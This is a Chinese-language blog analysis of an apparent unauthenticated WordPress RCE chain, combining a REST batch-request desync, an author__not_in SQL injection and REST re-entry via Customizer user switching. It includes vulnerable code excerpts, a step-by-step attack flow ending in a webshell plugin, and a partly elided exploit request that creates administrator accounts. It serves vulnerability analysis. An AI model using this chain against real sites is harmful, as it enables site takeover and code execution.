2026年了,在AI时代下总感觉什么都有可能,但是看到Wordpress居然能有原生未授权RCE还是感觉不可思议。Wordpress算是我曾经深度研究过的php源码之一,虽然wp架构复杂但是开发习惯很好,封装也比较严格,尤其是对权限的分割都做得很好,在5.0之后我一直认为wp不太可能出未授权的大漏洞了。
但很快,这个漏洞的挖掘者通过两个漏洞的组合就实现了这不可思议的一幕。
据说作者用AI完成了这个漏洞挖掘,并获得了50w刀的赏金(我没有求证,听说)。
接下来我们就古法分析一下这个漏洞具体是怎么回事。
这次的漏洞严格意义上并不是以RCE为目的的漏洞,一共有三个组成,其中两个分配了CVE
- CVE-2026-63030:REST API 批量请求路由混淆漏洞
- CVE-2026-60137:
WP_Query 的 author__not_in SQL 注入漏洞
- REST重入漏洞,导致管理员权限绕过,这个漏洞没有被分配CVE,但是修复了
而这三个漏洞能够最终构成RCE,有一个很大的原因就是,wp对超级管理员的权限给的很高,在超级管理员的后台你可以轻松的实现RCE利用。
所以与其说我们要在wp中寻找RCE,不如说我们的目标是找到如何进入后台的方法。
CVE-2026-63030 REST API 批量请求路由混淆漏洞
WordPress 的 WP_REST_Server::serve_batch_request_v1()
处理 /wp-json/batch/v1 批量请求时,内部维护了两个数组:
$validation:存储每个子请求的验证结果
$matches:存储每个子请求匹配到的路由
当某个子请求验证失败,错误就会写入$validation ,但是不会写入$matches。
这就导致这两个数组的偏移会不一致
1 2 3 4 5 6 7 8 9 10 11
| foreach ( $requests as $single_request ) { if ( is_wp_error( $single_request ) ) { $has_error = true; $validation[] = $single_request; continue; }
$match = $this->match_request_to_handler( $single_request ); $matches[] = $match; }
|
这样一来,攻击者就可以构造多次请求,先触发is_wp_error验证触发错误跳过,然后相应请求的参数就会被写入到match。
下一次请求重新读取match,由于match多了一个元素,偏移变了,会直接读取上一次的请求参数,就可以把恶意参数绕过检查直接代入到请求中。
听起来好像不知道具体有什么用?
那首先你要知道这个接口具体是干嘛的,为什么需要通过这种方式绕过。
WordPress 的 /wp-json/batch/v1 是一个合法的批量请求接口
1 2 3 4 5 6 7 8 9 10
| POST /wp-json/batch/v1 { "requests": [ {"path": "/wp/v2/posts/1", "method": "GET"}, {"path": "/wp/v2/posts/2", "method": "GET"}, {"path": "/wp/v2/users/me", "method": "GET"} ], "validation": "require-all-validate" }
|
比如说编辑器保存文章,点击保存,需要同时更新文章,修改分类,上传文件,通过这个接口就可以用一次请求触发多次请求完成目标。
由于这个接口本身就是前端功能之一,所以本身没有鉴权,所以第一步触发就不需要任何权限。
当然这不意味着通过这个接口就可以越权发起后台请求,因为你发送的每一条path,都会独立执行一遍路由匹配,权限检查,参数检查,然后才会发起请求。
在正常的流程中,后续会对参数做校验和检查
1 2 3 4 5 6 7 8 9 10 11 12
| if ( ! $error ) { $check_required = $single_request->has_valid_params();
if ( is_wp_error( $check_required ) ) { $error = $check_required; } }
if ( ! $error ) { $check_sanitized = $single_request->sanitize_params(); }
|
而通过这个漏洞,match获取和实际的参数不一致,在校验参数的时候就无法对应获取参数内容做检查,就绕过了参数过滤和限制。
总的来说,CVE-2026-63030,REST API的路由混淆其实较真的话只能算一个bug,因为它并不能直接造成危害,但却是难得的漏洞入口。
WP_Query 的 author__not_in 参数
如果为数组,则会遍历每个元素,并使用absint做处理,转为整数。
如果为字符串,则会直接被拼接到SQL语句当中
1 2 3 4 5 6 7 8 9 10
| if ( ! empty( $query_vars['author__not_in'] ) ) { if ( is_array( $query_vars['author__not_in'] ) ) { $query_vars['author__not_in'] = array_unique( array_map( 'absint', $query_vars['author__not_in'] ) ); sort( $query_vars['author__not_in'] ); } $author__not_in = implode( ',', (array) $query_vars['author__not_in'] ); $where .= " AND {$wpdb->posts}.post_author NOT IN ($author__not_in) "; }
|
这个漏洞非常简单粗暴,但是为什么无法利用呢?
因为你直接请求WP_Query注入,Rest请求走到参数检查的位置会触发检查和过滤,这也是我在开篇提到过的,为什么wp很难出高危漏洞,就是因为wp的编码习惯和全局安全处理做的非常好。
就比如这里正常的请求逻辑中,我们需要注入的参数author__not_in,在参数的类型定义中要求必须是数组,也就无法绕过后续的逻辑
1 2 3 4 5 6 7 8 9 10 11 12
|
'author_exclude' => [ 'description' => '排除指定作者的文章', 'type' => 'array', 'items' => [ 'type' => 'integer', ], 'default' => [], ]
|
那么我们必须使用前面的路由混淆漏洞,避免对于参数类型检查,就可以成功实现字符串的拼接输入。
前面说了,路由混淆漏洞本质上来说其实算一个bug,毕竟他不能提高你的权限。
绕过了参数检查之后,顺利触发了WP_Query的SQL注入漏洞。
但是问题依旧没有完全解决,SQL注入如何让我们获取超级管理员权限呢?毕竟union不能内联insert插入数据,仅仅靠查询语句无法真正进入后台。那么就需要一些更复杂的Wordpress特性了。
WP_Query 将数据库查询结果行转换为 WP_Post 对象,并触发 WordPress 的请求本地对象缓存机制。
也就是说,其实我们并不是需要通过SQL注入来获取数据的什么内容。
而是通过SQL注入来控制数据库的返回
1 2 3 4 5 6 7 8
| $results = $wpdb->get_results( $sql );
foreach ( $results as $row ) { $post = new WP_Post( $row ); wp_cache_set( $post->ID, $post, 'posts' ); }
|
但是将内容写入到缓存,又有什么用呢?
oEmbed 是一个嵌入内容的标准协议。当你在 WordPress 编辑器里粘贴一个链接,它自动变成可预览的嵌入卡片。
在编辑文章的时候,当用户输入链接,WordPress 调用 oEmbed API 获取元数据,然后会把对应的内容存入内存,这样下次访问就不用在请求了,而是访问缓存读取对应的内容。
那听起来oEmbed应该是一次性请求?
实际上,缓存会过期,就好像你嵌入的网站内容标题封面都会更换,所以oEmbed本身支持缓存刷新机制。
1 2 3 4 5 6 7 8 9 10 11 12 13 14
|
$cached_post = get_post( $cached_post_id ); $cache = $cached_post->post_content;
if ( $cached_post_id ) { wp_update_post( wp_slash( array( 'ID' => $cached_post_id, 'post_content' => $html, )) ); }
|
通过这个机制,内存中的数据被二次写入数据库中。
虽然但是这种写入并不是说我可以向数据库的任何表写入任何数据,他还是会写入到wp_posts表中,无法直接控制user表。
这涉及到了wp的另一个机制。
Customizer 在保存设置时临时将当前用户切换为 changeset 的原始创建者。如果 changeset 是由管理员创建的,当前请求将临时获得管理员身份。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| $original_user_id = get_current_user_id(); foreach ( $changeset_setting_ids as $setting_id ) { $setting = $this->get_setting( $setting_id ); if ( $setting ) { if ( isset( $setting_user_ids[ $setting_id ] ) ) { wp_set_current_user( $setting_user_ids[ $setting_id ] ); } else { wp_set_current_user( $original_user_id ); } $setting->save(); } } wp_set_current_user( $original_user_id );
|
正常来说,这是一个正常的功能,因为changeset根本就没有控制创建者的方式,为了统一权限,内部请求本身会遇到权限限制,那就必须加入权限的切换,否则正常功能无法运行。
但其实这里即便是临时切换管理员,我们也无法做任何控制,关键在于下一步。
此时触发文章保存,除了以上的刷新以外,就会再次触发parse_request的hook,再次发起REST请求解析(前面说过这本身就是批量请求这个接口的原场景)
1
| add_action( 'parse_request', 'rest_api_loaded' );
|
并且在后续的请求中,复用了刚才的状态,也就是被设置为管理员权限的batch
1 2 3
| public function is_dispatching() { return (bool) $this->dispatching_requests; }
|
再次触发REST之后,会重新按照请求再次解析一遍依次执行,但这个时候你已经是管理员权限了,所以可以执行管理员的请求。
1 2 3 4 5 6 7 8 9 10 11 12
| 重入的 serve_request() → dispatch() → match_request_to_handler("/batch/v1") → batch handler → serve_batch_request_v1() ← 整个外层 batch 重新跑 → 外层[0] "http://:" → ERROR → 跳过 → 外层[1] /wp/v2/posts → desync → batch handler → 读 body.requests → 内层 batch 重新跑 → 内层[0] "http://:" → ERROR → 跳过 → 内层[1] /wp/v2/widgets → SQL 注入(这次无所谓) → 内层[2] /wp/v2/posts → 触发 post 处理 → 内层[3] /wp/v2/users → 管理员身份 → 201 ✅ 创建管理员! → 内层[4] /wp/v2/users → 管理员身份 → 201 ✅
|
在7.0.2中,当dispatch激活,加载器会提前返回,重入递归不会再进行下去,漏洞就无法利用了
1 2 3 4
| if ( $this->is_dispatching() ) { return false; }
|
通过这种方式,我们就可以实现管理员权限的任意REST API调用。
那最终我们在调用创建管理员的API创建超级管理员,后续利用就顺理成章了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60
| 攻击者(无需认证) │ ▼ [Step 1] 发送 REST 批处理请求 POST /wp-json/batch/v1 包含3个子请求:错误请求 + oEmbed + 恶意查询 │ ▼ [Step 2] Batch Handler 去同步化(CVE-2026-63030) $requests[0] 错误 → 跳过但 $matches 未补位 索引偏移导致路由混乱 │ ▼ [Step 3] 恶意标量值绕过消毒 路由混乱将 unsanitized 标量送入 WP_Query author__not_in 参数未经 absint() 处理 │ ▼ [Step 4] SQL 注入(CVE-2026-60137) 标量值直接拼接进 SQL 语句 构造 UNION SELECT 注入恶意数据 │ ▼ [Step 5] 污染 WP_Post 内存缓存 SQL 注入结果被缓存为 WP_Post 对象 攻击者控制 post_content 等字段 │ ▼ [Step 6] oEmbed 刷新 + wp_update_post() 持久化 oEmbed 处理器从缓存读取被污染的对象 wp_update_post() 仅提交 ID + content 其他字段从被污染的缓存"原始值"合并 污染数据写入数据库 │ ▼ [Step 7] 层级修复(Hierarchy Repair) wp_update_post() 触发文章层级关系修复 产生更多稀疏更新调用,扩大污染范围 │ ▼ [Step 8] Customizer 临时切换管理员身份 class-wp-customize-manager.php 第 3569-3589 行 wp_set_current_user() 切换到 changeset 作者(管理员) │ ▼ [Step 9] 动态 Hook 碰撞 → REST 重入 Customizer 的 setting->save() 触发 parse_request hook 嵌套的 REST dispatch 继承管理员身份 WP_REST_Server::is_dispatching() 未阻断重入 │ ▼ [Step 10] 以管理员身份创建管理员账户 嵌套 REST dispatch 使用管理员身份 调用 user creation API 创建新管理员 │ ▼ [Step 11] 安装恶意插件 → 任意代码执行 攻击者使用新管理员账户登录 上传包含 PHP webshell 的插件 实现完整的远程代码执行
|
最后整个利用请求大概长这样
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| POST /?rest_route=/batch/v1 HTTP/1.1 Content-Type: application/json
{ "requests": [ {"method": "POST", "path": "http://:"}, { "method": "POST", "path": "/wp/v2/posts", "body": { "requests": [ {"method": "GET", "path": "http://:"}, {"method": "GET", "path": "/wp/v2/widgets?author_exclude=1)+AND+1=0+UNION+ALL+SELECT+..."}, {"method": "GET", "path": "/wp/v2/posts"}, {"method": "POST", "path": "/wp/v2/users", "body": {"username":"xxx","roles":["administrator"]}}, {"method": "POST", "path": "/wp/v2/users", "body": {"username":"xxx","roles":["administrator"]}} ] } }, {"method": "POST", "path": "/batch/v1"} ] }
|
其实我觉得这个漏洞最精巧的点有两个
第一是在SQL注入没有太多价值的情况下,通过控制SQL返回来完成后续利用条件,这个思路很妙,以前遇到过但是大多数都是类似于二次注入的场景。
第二是非常巧妙地通过REST重入的漏洞来巧妙的实现提权,实话讲完全没想到这里有个重入问题,因为如果不是重入根本无法实现提权,这个权限分级做的非常死。
在两个非常巧妙的漏洞结合下,实现了几乎最不可能的wp漏洞利用,这种超强的思维拓展,应该算是ai非常优秀的一个场景了